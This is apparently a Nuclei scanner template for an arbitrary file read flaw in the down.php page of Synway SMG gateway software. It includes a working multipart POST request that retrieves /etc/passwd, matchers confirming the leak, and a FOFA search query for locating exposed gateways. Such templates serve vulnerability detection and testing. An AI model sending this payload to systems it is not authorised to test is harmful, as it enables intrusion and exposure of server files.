sanhui-smg-file-read: Synway SMG Gateway down.php - Arbitrary File Read

id: sanhui-smg-file-read

info:
  name: Synway SMG Gateway down.php - Arbitrary File Read
  author: SleepingBag945
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in the down.php file of Synway SMG gateway management software, through which an attacker can download any file from the server.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E4%B8%89%E6%B1%87SMG%20%E7%BD%91%E5%85%B3%E7%AE%A1%E7%90%86%E8%BD%AF%E4%BB%B6%20down.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="text ml10 mr20" && title="网关管理软件"
  tags: sanhui-smg,lfi,gateway,intrusive,vuln

http:
  - raw:
      - |
        POST /down.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfA9vzLuw6Gmtnmv2

        ------WebKitFormBoundaryfA9vzLuw6Gmtnmv2
        Content-Disposition: form-data; name="downfile"

        /etc/passwd
        ------WebKitFormBoundaryfA9vzLuw6Gmtnmv2
        Content-Disposition: form-data; name="down"

        下载
        ------WebKitFormBoundaryfA9vzLuw6Gmtnmv2
        Content-Disposition: form-data; name="runinfoupdate"

        ------WebKitFormBoundaryfA9vzLuw6Gmtnmv2--

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"
          - "filename=passwd"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402204b3dce13ab7c1bed8ed0f26c76bc2c8e27fc302574ebd5bebcda7bca624415500220185707860204052059ed03935d2b0f2d70f8643ee1422e3bd0b87ebf23b06fc3:922c64590222798bb761d5b6d8e72950